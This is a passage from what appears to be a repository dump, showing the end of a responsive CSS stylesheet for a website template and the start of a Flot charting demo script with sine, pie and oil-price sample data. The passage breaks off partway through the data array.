ul li a:hover {\n    text-decoration: none;\n    color:#66D5DE;\n}\n.artical-content p {\n\tcolor: #999;\n\tfont-size: 14px;\n\tline-height: 1.8em;\n\tmargin:2em 0;\n}\n/*---comment-box----*/\n.table-form{\n\tmargin: 2em 0 0;\n}\n.table-form input[type=\"text\"],.table-form input[type=\"email\"],.table-form textarea{\n\tborder:1px solid #E3E3E3;\n\toutline: none;\n\tpadding: 14px;\n\tcolor:#D3D3D3;\n\toverflow: hidden;\n\tdisplay: block;\t\n\tfont-size: 14px;\n\tbackground:none;\n}\n.table-form input[type=\"email\"]{\n\tmargin:1em 0;\n}\n.table-form textarea{\n\tmin-height:220px;\n\tresize: none;\n\tmargin:1em 0;\n}\n.table-form input[type=\"submit\"],.table-form textarea,.table-form input[type=\"text\"],.table-form input[type=\"email\"] {\n\twidth:70%;\n}\n.table-form input[type=\"submit\"] {\n\tbackground:#66D5DE;\n\tcolor: #fff;\n\tfont-size: 1.2em;\n\tdisplay: block;\n\toutline: none;\n\tborder: none;\n\tpadding:0.5em 0;\n\ttext-align:center;\n\ttransition: 0.5s all;\n\t-webkit-transition: 0.5s all;\n\t-o-transition: 0.5s all;\n\t-moz-transition: 0.5s all;\n\t-ms-transition: 0.5s all;\n}\n.table-form input[type=\"submit\"]:hover{\n\tbackground:#f9d780;\n}\n.top-comment-left{\n\tfloat: left;\n\twidth: 13%;\n}\n.top-comment-right{\n\tfloat: left;\n\twidth:84%;\n\tmargin-left:1em;\n}\n.top-comment-right ul{\n\tpadding: 0;\n\tmargin: 0;\n}\n.top-comment-right ul li {\n\tdisplay: inline-block;\n\tcolor:#CDCDCD;\n\tpadding: 0.3em;\n\tfont-weight: 700;\n}\n.top-comment-right ul li a{\n\ttext-decoration: none;\n\tfont-size: 1em;\n    color:#66D5DE;\n\ttransition: 0.5s all;\n\t-webkit-transition: 0.5s all;\n\t-o-transition: 0.5s all;\n\t-moz-transition: 0.5s all;\n\t-ms-transition: 0.5s all;\n}\n.top-comment-right ul li a:hover{\n\tcolor:#f9d780;\n}\n.top-comment-right p {\n  color:#999;\n  font-size: 14px;\n  margin: 0;\n  line-height: 1.8em;\n}\n.top-comment-right ul li span.left-at{\n\tfont-size: 1.2em;\n}\n.top-comment-right ul li span.right-at{\n\tfont-size: 1em;\n}\n.comments-top-top {\n\tmargin: 1.5em 0;\n\tborder: 1px solid #EAEAEA;\n\tpadding: 2em;\n\twidth: 70%;\n}\n.blog-top p {\n\tfont-size: 1em;\n\tcolor: #fff;\n\tline-height: 1.8em;\n\ttext-align: left;\n\tmargin: 1em 0;\n}\n.artical-links ul{\n\tpadding: 0 0 0 1em;\n}\n.artical-links ul li span {\n    left: -7px;\n}\n.navbar-collapse {\n  padding-right: 0;\n  padding-left: 0;\n}\n.artical-content img {\n    margin: 3em 0 0;\n}\n.single h3 {\n    text-align: left;\n}\n.comment-grid-top {\n    margin: 3em 0;\n}\n/*-- //single --*/\n/*-----start-responsive-design------*/\n@media (max-width:1440px){\n\t.search i {\n\t\tleft: 15.8em;\n\t}\n\t.logo {\n\t\tmargin-left: 14em;\n\t}\n\t.banner {\n\t\tmin-height: 690px;\n\t}\n}\n@media (max-width:1366px){\n\t.banner1 {\n\t\tmin-height: 190px;\n\t}\n\t.search i {\n\t\tleft: 14.8em;\n\t}\n\t.logo {\n\t\tmargin-left: 11em;\n\t}\n\t.map iframe {\n\t\tmin-height: 350px;\n\t}\n\t.welcome-bottom-grids {\n\t\tmargin: 6em 0 0;\n\t}\n\t.welcome-bottom {\n\t\tmin-height: 330px;\n\t}\n}\n@media (max-width: 1280px){\n\t.search i {\n\t\tleft: 13.8em;\n\t}\n\t.logo {\n\t\tmargin-left: 9em;\n\t}\n\t.banner-info {\n\t\tmargin: 13em 0 1em 0em;\n\t}\n\t.banner {\n\t\tmin-height: 600px;\n\t}\n}\n@media (max-width: 1024px){\n\t.search {\n\t\tmargin-left: 2em;\n\t}\n\t.search i {\n\t\tleft: 10.8em;\n\t}\n\t.logo-right {\n\t\tmargin-right: 1em;\n\t}\n\t.logo {\n\t\tmargin-left: 4.5em;\n\t}\n\t.nav > li > a {\n\t\tpadding: 20px 20px;\n\t}\n\t.footer {\n\t\tpadding: 3em 0 3em;\n\t}\n\t.banner-bottom, .features, .typo, .contact-grids, .gallery, .services, .about, .events, .history, .single {\n\t\tpadding: 4em 0;\n\t}\n\t.services-grd1-right {\n\t\tpadding: 0;\n\t}\n\t.banner-info {\n\t\twidth: 60%;\n\t}\n\t.banner {\n\t\tmin-height: 500px;\n\t}\n\t.banner-bottom-grid-left h4 {\n\t\tfont-size: 1.3em;\n\t}\n\t.welcome-bottom {\n\t\tbackground: url(../images/5.jpg) no-repeat -175px 0px;\n\t\tbackground-size: cover;\n\t\t-webkit-background-size: cover;\n\t\t-moz-background-size: cover;\n\t\t-o-background-size: cover;\n\t\t-ms-background-size: cover;\n\t}\n\t.features-grids1 h2 {\n\t\tfont-size: 1.3em;\n\t}\n\t.features-grids1-left ul li a {\n\t\tfont-size: 1em;\n\t}\n\t.features-grids1-left ul li {\n\t\tbackground: url(../images/1.png) no-repeat 170px 9px;\n\t}\n\t.about-grid h4 {\n\t\tfont-size: 1.3em;\n\t}\n}\n@media (max-width: 768px){\n\t.logo-right {\n\t\tdisplay: none;\n\t}\n\t.logo {\n\t\tmargin: 0 2em 0 0em;\n\t\tfloat: right;\n\t}\n\t.search {\n\t\twidth: 27%;\n\t}\n\t.navbar-nav {\n\t\tmargin-left: 1em;\n\t}\n\t.nav > li > a {\n\t\tpadding: 20px 11px;\n\t}\n\t.map iframe {\n\t\tmin-height: 260px;\n\t}\n\t.banner-bottom, .features, .typo, .contact-grids, .gallery, .services, .about, .events, .history, .single {\n\t\tpadding: 3em 0;\n\t}\n\t.contact-grdl {\n\t\ttext-align: center;\n\t}\n\t.contact-grid:nth-child(3) {\n\t\tmargin: 2em 0;\n\t}\n\t.footer-grids {\n\t\tfloat: left;\n\t\twidth: 50%;\n\t}\n\t.footer-grids:nth-child(2) {\n\t\tmargin:0 0 1em;\n\t}\n\t.services-grd:nth-child(2) {\n\t\tmargin: 3em 0 0;\n\t}\n\t.services-grd1 {\n\t\tmargin: 0 0 1em;\n\t}\n\t.services-overview-grid {\n\t\tfloat: left;\n\t\twidth: 33.33%;\n\t}\n\t.services-overview-gd {\n\t\tpadding: 1em;\n\t}\n\t.about-grid:nth-child(2) {\n\t\tmargin: 3em 0 0;\n\t}\n\t.mnth-date-left {\n\t\twidth: 20%;\n\t}\n\tp.quasi {\n\t\tmargin: 1em 0 2em;\n\t}\n\t.events-grid:nth-child(2) {\n\t\tmargin: 2em 0;\n\t}\n\t.history-right {\n\t\tmargin: 3em 0 0;\n\t}\n\t.history-right h4 {\n\t\tmargin: 1.5em 0 1em !important;\n\t}\n\t.history-left-grid:nth-child(2) {\n\t\tmargin: 1.5em 0 0;\n\t}\n\t.about-gd-right {\n\t\twidth: 84%;\n\t}\n\t.about-gd-left {\n\t\twidth: 15%;\n\t}\n\t.banner-info {\n\t\tmargin: 6em 0 1em 0em;\n\t}\n\t.banner-info h1 {\n\t\tfont-size: 1.5em;\n\t}\n\t.banner {\n\t\tmin-height: 345px;\n\t}\n\t.banner-bottom-grid:nth-child(2) {\n\t\tmargin: 2em 0;\n\t}\n\t.welcome-bottom-grids {\n\t\tmargin: 3em 0 0;\n\t}\n\t.welcome-bottom-grid-left h3 {\n\t\tfont-size: 1.1em;\n\t\tline-height: 1.4em;\n\t}\n\t.welcome-bottom {\n\t\tmin-height: 265px;\n\t}\n\t.features-grids1 {\n\t\tmargin: 2em 0 0;\n\t}\n\t.features-grids1-left ul li {\n\t\tbackground: url(../images/1.png) no-repeat 640px 9px;\n\t}\n\t.features-grids1-left ul {\n\t\tpadding: 0;\n\t}\n\t.features-grid-right {\n\t\tmargin: 3em 0 0;\n\t}\n\t.comments-top-top {\n\t\twidth: 90%;\n\t}\n\t.table-form input[type=\"submit\"], .table-form textarea, .table-form input[type=\"text\"], .table-form input[type=\"email\"] {\n\t\twidth: 90%;\n\t}\n}\n@media (max-width: 767px){\n\t.navbar-default .navbar-toggle .icon-bar {\n\t\tbackground-color: #fff;\n\t}\n\t.navbar-default .navbar-toggle {\n\t\tborder: none;\n\t\tbackground-color: #66D5DE;\n\t}\n\t.navbar-default .navbar-toggle:hover, .navbar-default .navbar-toggle:focus {\n\t\tbackground-color: #66D5DE;\n\t}\n\t.navbar-toggle {\n\t\tfloat: none;\n\t\tpadding: 9px 10px;\n\t\tmargin:.6em 0 0 21.5em;\n\t}\n\t.navbar-nav {\n\t\tmargin: 7.5px 0px;\n\t\tbackground-color: #F9D780;\n\t\ttext-align: center;\n\t}\n\t.navbar-default .navbar-collapse, .navbar-default .navbar-form {\n\t\tborder: none;\n\t\tbox-shadow: none;\n\t}\n\t.navbar-default .navbar-nav > li > a {\n\t\tcolor: #fff;\n\t}\n}\n@media (max-width:667px){\n\t.search {\n\t\twidth: 31%;\n\t}\n\t.navbar-toggle {\n\t\tmargin: .6em 0 0 18em;\n\t}\n}\n@media (max-width: 640px){\n\t.search {\n\t\tmargin-left: 1em;\n\t\twidth: 33%;\n\t}\n\t.logo a {\n\t\tfont-size: 1.8em;\n\t}\n\t.logo a span {\n\t\tfont-size: 11px;\n\t\tletter-spacing: 5px;\n\t}\n\t.logo {\n\t\tmargin: 0 1em 0 0em;\n\t}\n\t.navbar-toggle {\n\t\tmargin: .6em 0 0 17.4em;\n\t}\n\t.nav > li > a {\n\t\tpadding: 10px 0px;\n\t}\n\t.banner-info h1 {\n\t\tfont-size: 1.3em;\n\t}\n\t.banner-bottom h3, .features-grid-left h3, .features-grid-right h3, h3.title, .gallery h3, .history h3, .single h3, .events h3, .services h3, .about-grid h3 {\n\t\tfont-size: 1.6em;\n\t}\n\t.banner-bottom-grids:nth-child(2) {\n\t\tmargin: 2.5em 0 0 0em;\n\t}\n\t.banner-bottom-grid:nth-child(2) {\n\t\tmargin: 3em 0;\n\t}\n\t.welcome-bottom-grid-l {\n\t\tfloat: none;\n\t\tmargin: 3em 0 0 18.5em;\n\t}\n\t.welcome-bottom-grid-left {\n\t\tfloat: none;\n\t\tmargin: 2em 0 0;\n\t\twidth: 70%;\n\t}\n\t.welcome-bottom {\n\t\tbackground: url(../images/5.jpg) no-repeat -290px 0px;\n\t\tbackground-size: cover;\n\t\t-webkit-background-size: cover;\n\t\t-moz-background-size: cover;\n\t\t-o-background-size: cover;\n\t\t-ms-background-size: cover;\n\t}\n\t.features-grids1-left ul li {\n\t\tbackground: url(../images/1.png) no-repeat 515px 9px;\n\t}\n\t.features-grids1-left:nth-child(4) {\n\t\tmargin: 0 0 2em;\n\t}\n\t.breadco {\n\t\tmargin: 0 0 2em !important;\n\t}\n\t.artical-content img {\n\t\tmargin: 1.5em 0 0;\n\t}\n\t.artical-links ul li:last-child {\n\t\tfloat: none;\n\t\tmargin: 1em 0 0;\n\t}\n\t.comments-top-top {\n\t\twidth: 100%;\n\t\tpadding:1em;\n\t}\n\t.about-grid img {\n\t\tmargin: 2em 0 1em;\n\t}\n\t.mnth-date-left {\n\t\twidth: 25%;\n\t}\n\t.services-grd:nth-child(2) {\n\t\tmargin: 1.5em 0 0;\n\t}\n\t.services-overview {\n\t\tmargin: 2em 0 0;\n\t}\n}\n@media (max-width:568px){\n\t.search {\n\t\twidth: 37%;\n\t}\n}\n@media (max-width:480px){\n\t.logo a {\n\t\tfont-size: 1.5em;\n\t\tletter-spacing: 5px;\n\t}\n\t.search {\n\t\tmargin-top: -1.3em;\n\t\twidth: 44%;\n\t}\n\t.search input[type=\"text\"] {\n\t\tpadding: 10px 45px 10px 10px;\n\t}\n\t.navbar-toggle {\n\t\tmargin: .6em 0 0 12.4em;\n\t}\n\t.banner-info {\n\t\twidth: 81%;\n\t\tmargin: 4em 0 1em 0em;\n\t}\n\t.banner {\n\t\tmin-height: 280px;\n\t}\n\t.more a {\n\t\tpadding: 5px 20px;\n\t}\n\t.banner-bottom-grid-left ul {\n\t\tpadding: 1em 0 0em;\n\t}\n\t.banner-bottom-grid-left p {\n\t\tmargin: 0 0 1.5em;\n\t}\n\t.banner-bottom {\n\t\tpadding: 3em 0 1em;\n\t}\n\t.welcome-bottom-grid-left {\n\t\tmargin: 1.5em 0 0;\n\t\twidth: 96%;\n\t}\n\t.welcome-bottom-grid-left p {\n\t\tmargin: 0.5em 0 0;\n\t}\n\t.welcome-bottom-grid-l {\n\t\tmargin: 3em 0 0 19.5em;\n\t}\n\t.features-grids1 h2 {\n\t\tfont-size: 1.1em;\n\t}\n\t.features-grids1 {\n\t\tmargin: 1.5em 0 0;\n\t}\n\t.features-grids1-left ul li {\n\t\tbackground: url(../images/1.png) no-repeat 355px 9px;\n\t}\n\t.test1 {\n\t\tmargin: 2em 0 0;\n\t}\n\t.footer-grids h4 a {\n\t\tfont-size: 2em;\n\t}\n\t.footer {\n\t\tpadding: 2em 0 2em;\n\t}\n\t.banner-bottom h3, .features-grid-left h3, .features-grid-right h3, h3.title, .gallery h3, .history h3, .single h3, .events h3, .services h3, .about-grid h3 {\n\t\tfont-size: 1.4em;\n\t}\n\t.banner1 {\n\t\tmin-height: 110px;\n\t}\n\t.artical-content p {\n\t\tmargin: 1em 0;\n\t}\n\t.comment-grid-top {\n\t\tmargin: 2em 0;\n\t}\n\t.top-comment-right {\n\t\tfloat: right;\n\t\tmargin-left: 0;\n\t}\n\t.top-comment-right ul li span.right-at {\n\t\tfont-size: .8em;\n\t}\n\t.top-comment-right ul li {\n\t\tpadding: 0.1em;\n\t}\n\t.top-comment-right ul li span.left-at {\n\t\tfont-size: 1.1em;\n\t}\n\t.table-form {\n\t\tmargin: 1.5em 0 0;\n\t}\n\t.table-form input[type=\"submit\"], .table-form textarea, .table-form input[type=\"text\"], .table-form input[type=\"email\"] {\n\t\twidth: 100%;\n\t\tpadding: 10px;\n\t}\n\t.table-form textarea {\n\t\tmin-height: 150px;\n\t}\n\t.table-form input[type=\"submit\"] {\n\t\tfont-size: 1em;\n\t}\n\t.about-grid h4 {\n\t\tfont-size: 1.1em;\n\t\tline-height: 1.4em;\n\t\tmargin: 0 0 .5em;\n\t}\n\t.about-gd:nth-child(2) {\n\t\tmargin: 1em 0 0;\n\t}\n\t.mnth-date-left h4 {\n\t\tfont-size: 1.7em;\n\t}\n\t.events-grids {\n\t\tmargin: 1em 0 0;\n\t}\n\t.services-grd1-left {\n\t\twidth: 20%;\n\t}\n\t.services-overview-grid {\n\t\tfloat: none;\n\t\twidth: 85%;\n\t\tmargin: 0 auto 2em;\n\t}\n\t.mnth-date-left {\n\t\twidth: 30%;\n\t}\n\t.history-right ul li a {\n\t\tfont-size: 16px;\n\t}\n\t.services-grd1-left span {\n\t\tfont-size: 1.7em;\n\t}\n\t.services-overview-grids:nth-child(2) {\n\t\tmargin: 1.5em 0 0;\n\t}\n\t.contact-grdl span {\n\t\tfont-size: 1.5em;\n\t}\n\t.address {\n\t\tmargin: 1em 0;\n\t}\n\t.contact-grid input[type=\"text\"], .contact-grid input[type=\"email\"], .contact-grid textarea {\n\t\tpadding: 10px 10px;\n\t}\n}\n@media (max-width:414px){\n\t.search i {\n\t\tleft: 8.8em;\n\t\ttop: 2.1em;\n\t}\n\t.logo a {\n\t\tfont-size: 1.3em;\n\t\tletter-spacing: 2px;\n\t}\n\t.logo a span {\n\t\tfont-size: 7px;\n\t}\n\t.navbar-toggle {\n\t\tmargin: .6em 0 0 10.4em;\n\t}\n\t.banner-bottom-grid-left h4 {\n\t\tfont-size: 1.1em;\n\t}\n\t.banner-bottom-grid-left {\n\t\tpadding: 0;\n\t}\n\t.welcome-bottom-grid-l {\n\t\tmargin: 3em 0 0 15.5em;\n\t}\n\t.welcome-bottom {\n\t\tbackground: url(../images/5.jpg) no-repeat -497px 0px;\n\t\tbackground-size: cover;\n\t\t-webkit-background-size: cover;\n\t\t-moz-background-size: cover;\n\t\t-o-background-size: cover;\n\t\t-ms-background-size: cover;\n\t}\n\t.banner-bottom, .features, .typo, .contact-grids, .gallery, .services, .about, .events, .history, .single {\n\t\tpadding: 2em 0;\n\t}\n\t.features-grids1-left ul li {\n\t\tbackground: url(../images/1.png) no-repeat 286px 9px;\n\t}\n\t.test1-right {\n\t\tpadding: 0;\n\t}\n\t.footer-grids {\n\t\tpadding: 0;\n\t\tfloat: none;\n\t\twidth: 100%;\n\t}\n\t.social-icons {\n\t\tpadding: 1em 0 0;\n\t}\n\t.footer-grids h4 a {\n\t\tfont-size: 1.7em;\n\t}\n\t.footer h3 {\n\t\tfont-size: 1.3em;\n\t}\n\t.services-overview-grid {\n\t\twidth: 100%;\n\t}\n\t.gallery-grid {\n\t\tfloat: none;\n\t\twidth: 80%;\n\t\tmargin: 0 auto;\n\t}\n}\n@media (max-width:375px){\n\t.search i {\n\t\tleft: 7.8em;\n\t}\n}\n@media (max-width:320px){\n\t.search {\n\t\tmargin-left: 0.5em;\n\t}\n\t.search i {\n\t\tleft: 6.8em;\n\t}\n\t.address {\n\t\tmargin: .5em 0;\n\t}\n\t.contact-grid input[type=\"submit\"] {\n\t\tpadding: 10px 0px;\n\t}\n\t.search input[type=\"text\"],.contact-grid input[type=\"text\"], .contact-grid input[type=\"email\"], .contact-grid textarea,.contact-grdr ul li,.services-overview-gd p,.services-grd1 p,.about-grid p,p.aut, .history-right p,.table-form input[type=\"submit\"], .table-form textarea, .table-form input[type=\"text\"], .table-form input[type=\"email\"],.top-comment-right p,.artical-content p,.artical-links ul li,.banner-info p,.footer-grids form input[type=\"text\"],.footer-bottom p,.footer-grids form input[type=\"submit\"],.footer-grids ul li a,.footer-grids p,.test1-right p,.welcome-bottom-grid-left p,.banner-bottom-grid-left ul li,.banner-bottom-grid-left p {\n\t\tfont-size: 13px;\n\t}\n\t.newsletter h3 {\n\t\tfont-size: 1.2em;\n\t}\n\t.newsletter {\n\t\tpadding: 3.45em 2em 2em 0.5em;\n\t}\n\t.contact-grdr ul li {\n\t\tmargin: 0 0 0.3em;\n\t}\n\t.gallery-grid {\n\t\twidth: 95%;\n\t}\n\t.map iframe {\n\t\tmin-height: 200px;\n\t}\n\t.services-overview-gd h4 {\n\t\tfont-size: 1.1em;\n\t}\n\t.history-right {\n\t\tmargin: 1.5em 0 0;\n\t}\n\t.history-right h4 {\n\t\tmargin: 1em 0 0.5em !important;\n\t}\n\t.history-right ul li a {\n\t\tfont-size: 14px;\n\t}\n\t.history-right ul {\n\t\tpadding: 1em 0 0;\n\t}\n\t.history-right ul li {\n\t\tmargin: 0 0 9px;\n\t}\n\t.about-grid:nth-child(2) {\n\t\tmargin: 1.5em 0 0;\n\t}\n\t.about-grid img {\n\t\tmargin: 1.5em 0 0.5em;\n\t}\n\t.table-form textarea {\n\t\tmin-height: 120px;\n\t}\n\t.top-comment-left {\n\t\twidth: 23%;\n\t}\n\t.top-comment-right {\n\t\twidth: 70%;\n\t}\n\t.footer-bottom {\n\t\tpadding: 1em 0;\n\t}\n\t.footer-grids ul li {\n\t\tmargin-bottom: 0.5em;\n\t}\n\t.test1-right p span {\n\t\tmargin: 0.5em 0 0;\n\t}\n\t.test11 {\n\t\tmargin: 1em 0 0;\n\t}\n\t.features-grids1 h2 {\n\t\tfont-size: 1em;\n\t\tline-height: 1.4em;\n\t}\n\t.about-grid h4 {\n\t\tfont-size: 1em;\n\t}\n\t.mnth-date-left {\n\t\twidth: 40%;\n\t}\n\t.events-grid:nth-child(2) {\n\t\tmargin: 1.5em 0;\n\t}\n\tp.quasi {\n\t\tmargin: 0.5em 0 1.5em;\n\t\tfont-size: 13px;\n\t}\n\t.history-left-grid p {\n\t\tfont-size: 13px;\n\t}\n\t.history-left-grid h4, .history-right h4 {\n\t\tfont-size: 1em;\n\t\tmargin: 0.5em 0;\n\t}\n\t.features-grid-left,.features-grid-right,.contact-grid,.services-grd1,.about-grid,.events-grid,.history-left,.history-right {\n\t\tpadding: 0;\n\t}\n\t.services-grd1 h4 {\n\t\tfont-size: 1em;\n\t\tmargin: 0 0 0.5em;\n\t}\n\t.features-grids1 p {\n\t\tfont-size: 13px;\n\t\tmargin: 0.3em 0 1em;\n\t}\n\t.features-grids1-left ul li a {\n\t\tfont-size: 14px;\n\t}\n\t.features-grids1-left ul li {\n\t\tbackground: url(../images/1.png) no-repeat 225px 9px;\n\t\tmargin: 0 0 7px;\n\t}\n\t.welcome-bottom {\n\t\tbackground: url(../images/5.jpg) no-repeat -540px 0px;\n\t\tbackground-size: cover;\n\t\t-webkit-background-size: cover;\n\t\t-moz-background-size: cover;\n\t\t-o-background-size: cover;\n\t\t-ms-background-size: cover;\n\t}\n\t.features-grids1 {\n\t\tmargin: 1em 0 0;\n\t}\n\t.banner-bottom-grid-left p {\n\t\tmargin: 0 0 1em;\n\t}\n\t.banner-bottom-grid-right {\n\t\tmargin: 2em 0 0;\n\t}\n\t.banner-bottom-grid:nth-child(2) {\n\t\tmargin: 0;\n\t}\n\t.banner-bottom-grid-l {\n\t\tmargin: 1em 0 2em;\n\t}\n\t.logo {\n\t\tmargin: 0.2em 0.2em 0 0em;\n\t}\n\t.navbar-toggle {\n\t\tmargin: .6em 0 0 7.4em;\n\t}\n\t.nav > li > a {\n\t\tpadding: 6px 0px;\n\t}\n\t.banner-info h1 {\n\t\tfont-size: 1em;\n\t}\n\t.banner-info {\n\t\twidth: 100%;\n\t\tmargin: 2em 0 1em 0em;\n\t}\n\t.banner {\n\t\tbackground: url(../images/banner1.jpg) no-repeat -130px 0px;\n\t\tbackground-size: cover;\n\t\t-webkit-background-size: cover;\n\t\t-moz-background-size: cover;\n\t\t-ms-background-size: cover;\n\t\t-o-background-size: cover;\n\t\tmin-height: 220px;\n\t}\n\t.banner-bottom h3, .features-grid-left h3, .features-grid-right h3, h3.title, .gallery h3, .history h3, .single h3, .events h3, .services h3, .about-grid h3 {\n\t\tfont-size: 1.2em;\n\t}\n\t.banner-bottom-grids:nth-child(2) {\n\t\tmargin:0.5em 0 0 0em;\n\t}\n\t.banner-bottom-grid-left,.banner-bottom-grid-right {\n\t\tfloat: none;\n\t\twidth: 100%;\n\t}\n\t.banner-bottom-grid-left h4 {\n\t\tfont-size: 1em;\n\t}\n\t.banner-bottom {\n\t\tpadding: 2em 0 0;\n\t}\n\t.welcome-bottom-grids {\n\t\tmargin: 0;\n\t}\n\t.welcome-bottom-grid-l {\n\t\tmargin: 2em 0 0 9.5em;\n\t}\n\t.welcome-bottom-grid-left h3 {\n\t\tfont-size: 1em;\n\t}\n\t.welcome-bottom-grid-left {\n\t\tmargin: 1em 0 0;\n\t\twidth: 91%;\n\t}\n\t.test1 {\n\t\tmargin: 1em 0 0;\n\t}\n\t.features-grid-right {\n\t\tmargin: 2em 0 0;\n\t}\n}"
  },
  {
    "path": "web_simplecms/simplecms/data/flot-data.js",
    "content": "//Flot Line Chart\n$(document).ready(function() {\n\n    var offset = 0;\n    plot();\n\n    function plot() {\n        var sin = [],\n            cos = [];\n        for (var i = 0; i < 12; i += 0.2) {\n            sin.push([i, Math.sin(i + offset)]);\n            cos.push([i, Math.cos(i + offset)]);\n        }\n\n        var options = {\n            series: {\n                lines: {\n                    show: true\n                },\n                points: {\n                    show: true\n                }\n            },\n            grid: {\n                hoverable: true //IMPORTANT! this is needed for tooltip to work\n            },\n            yaxis: {\n                min: -1.2,\n                max: 1.2\n            },\n            tooltip: true,\n            tooltipOpts: {\n                content: \"'%s' of %x.1 is %y.4\",\n                shifts: {\n                    x: -60,\n                    y: 25\n                }\n            }\n        };\n\n        var plotObj = $.plot($(\"#flot-line-chart\"), [{\n                data: sin,\n                label: \"sin(x)\"\n            }, {\n                data: cos,\n                label: \"cos(x)\"\n            }],\n            options);\n    }\n});\n\n//Flot Pie Chart\n$(function() {\n\n    var data = [{\n        label: \"Series 0\",\n        data: 1\n    }, {\n        label: \"Series 1\",\n        data: 3\n    }, {\n        label: \"Series 2\",\n        data: 9\n    }, {\n        label: \"Series 3\",\n        data: 20\n    }];\n\n    var plotObj = $.plot($(\"#flot-pie-chart\"), data, {\n        series: {\n            pie: {\n                show: true\n            }\n        },\n        grid: {\n            hoverable: true\n        },\n        tooltip: true,\n        tooltipOpts: {\n            content: \"%p.0%, %s\", // show percentages, rounding to 2 decimal places\n            shifts: {\n                x: 20,\n                y: 0\n            },\n            defaultTheme: false\n        }\n    });\n\n});\n\n//Flot Multiple Axes Line Chart\n$(function() {\n    var oilprices = [\n        [1167692400000, 61.05],\n        [1167778800000, 58.32],\n        [1167865200000, 57.35],\n        [1167951600000, 56.31],\n        [1168210800000, 55.55],\n        [1168297200000, 55.64],\n        [1168383600000, 54.02],\n        [1168470000000, 51.88],\n        [1168556400000, 52.99],\n        [1168815600000, 52.99],\n        [1168902000000, 51.21],\n        [1168988400000, 52.24],\n        [1169074800000, 50.48],\n        [1169161200000, 51.99],\n        [1169420400000, 51.13],\n        [1169506800000, 55.04],\n        [1169593200000, 55.37],\n        [1169679600000, 54.23],\n        [1169766000000, 55.42],\n        [1170025200000, 54.01],\n        [1170111600000, 56.97],\n        [1170198000000, 58.14],\n        [1170284400000, 58.14],\n        [1170370800000, 59.02],\n        [1170630000000, 58.74],\n        [1170716400000, 58.88],\n        [1170802800000, 57.71],\n        [1170889200000, 59.71],\n        [1170975600000, 59.89],\n        [1171234800000, 57.81],\n        [1171321200000, 59.06],\n        [1171407600000, 58.00],\n        [1171494000000, 57.99],\n        [1171580400000, 59.39],\n        [1171839600000, 59.39],\n        [1171926000000, 58.07],\n        [1172012400000, 60.07],\n        [1172098800000, 61.14],\n        [1172444400000, 61.39],\n        [1172530800000, 61.46],\n        [1172617200000, 61.79],\n        [1172703600000, 62.00],\n        [1172790000000, 60.07],\n        [1173135600000, 60.69],\n        [1173222000000, 61.82],\n        [1173308400000, 60.05],\n        [1173654000000, 58.91],\n        [1173740400000, 57.93],\n        [1173826800000, 58.16],\n        [1173913200000, 57.55],\n        [1173999600000, 57.11],\n        [1174258800000, 56.59],\n        [1174345200000, 59.61],\n        [1174518000000, 61.69],\n        [1174604400000, 62.28],\n        [1174860000000, 62.91],\n        [1174946400000, 62.93],\n        [1175032800000, 64.03],\n        [1175119200000, 66.03],\n        [1175205600000, 65.87],\n        [1175464800000, 64.64],\n        [1175637600000, 64.38],\n        [1175724000000, 64.28],\n        [1175810400000, 64.28],\n        [1176069600000, 61.51],\n        [1176156000000, 61.89],\n        [1176242400000, 62.01],\n        [1176328800000, 63.85],\n        [1176415200000, 63.63],\n        [1176674400000, 63.61],\n        [1176760800000, 63.10],\n        [1176847200000, 63.13],\n        [1176933600000, 61.83],\n        [1177020000000, 63.38],\n        [1177279200000, 64.58],\n        [1177452000000, 65.84],\n        [1177538400000, 65.06],\n        [1177624800000, 66.46],\n        [1177884000000, 64.40],\n        [1178056800000, 63.68],\n        [1178143200000, 63.19],\n        [1178229600000, 61.93],\n        [1178488800000, 61.47],\n        [1178575200000, 61.55],\n        [1178748000000, 61.81],\n        [1178834400000, 62.37],\n        [1179093600000, 62.46],\n        [1179180000000, 63.17],\n        [1179266400000, 62.55],\n        [1179352800000, 64.94],\n        [1179698400000, 66.27],\n        [1179784800000, 65.50],\n        [1179871200000, 65.77],\n        [1179957600000, 64.18],\n        [1180044000000, 65.20],\n        [1180389600000, 63.15],\n        [1180476000000, 63.49],\n        [1180562400000, 65.08],\n        [1180908000000, 66.30],\n        [1180994400000, 65.96],\n        [1181167200000, 66.93],\n        [1181253600000, 65.98],\n        [1181599200000, 65.35],\n        [1181685600000, 66.26],\n        [1181858400000, 68.00],\n        [1182117600000, 69.09],\n        [1182204000000, 69.10],\n        [1182290400000, 68.19],\n        [1182376800000, 68.19],\n        [1182463200000, 69.14],\n        [1182722400000, 68.19],\n        [1182808800000, 67.77],\n        [1182895200000, 68.97],\n        [1182981600000, 69.57],\n        [1183068000000, 70.68],\n        [1183327200000, 71.09],\n        [1183413600000, 70.92],\n        [1183586400000, 71.81],\n        [1183672800000, 72.81],\n        [1183932000000, 72.19],\n        [1184018400000, 72.56],\n        [1184191200000, 72.50],\n        [1184277600000, 74.15],\n        [1184623200000, 75.05],\n        [1184796000000, 75.92],\n        [1184882400000, 75.57],\n        [1185141600000, 74.89],\n        [1185228000000, 73.56],\n        [1185314400000, 75.57],\n        [1185400800000, 74.95],\n        [1185487200000, 76.83],\n        [1185832800000, 78.21],\n        [1185919200000, 76.53],\n        [1186005600000, 76.86],\n        [1186092000000, 76.00],\n        [1186437600000, 71.59],\n        [1186696800000, 71.47],\n        [1186956000000, 71.62],\n        [1187042400000, 71.00],\n        [1187301600000, 71.98],\n        [1187560800000, 71.12],\n        [1187647200000, 69.47],\n        [1187733600000, 69.26],\n        [1187820000000, 69.83],\n        [1187906400000, 71.09],\n        [1188165600000, 71.73],\n        [1188338400000, 73.36],\n        [1188511200000, 74.04],\n        [1188856800000, 76.30],\n        [1189116000000, 77.49],\n        [1189461600000, 78.23],\n        [1189548000000, 79.91],\n        [1189634400000, 80.09],\n        [1189720800000, 79.10],\n        [1189980000000, 80.57],\n        [1190066400000, 81.93],\n        [1190239200000, 83.32],\n        [1190325600000, 81.62],\n        [1190584800000, 80.95],\n        [1190671200000, 79.53],\n        [1190757600000, 80.30],\n        [1190844000000, 82.88],\n        [1190930400000, 81.66],\n        [1191189600000, 80.24],\n        [1191276000000, 80.05],\n        [1191362400000, 79.94],\n        [1191448800000, 81.44],\n        [1191535200000, 81.22],\n        [1191794400000, 79.02],\n        [1191880800000, 80.26],\n        [1191967200000, 80.30],\n        [1192053600000, 83.08],\n        [1192140000000, 83.69],\n        [1192399200000, 86.13],\n        [1192485600000, 87.61],\n        [1192572000000, 87.40],\n        [1192658400000, 89.47],\n        [1192744800000, 88.60],\n        